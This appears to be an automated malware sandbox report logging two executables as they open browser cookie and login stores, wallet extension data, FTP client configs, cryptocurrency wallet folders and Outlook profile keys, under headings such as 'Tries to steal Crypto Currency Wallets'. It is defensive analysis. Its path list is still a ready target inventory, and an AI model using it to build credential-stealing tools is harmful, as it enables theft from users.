Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
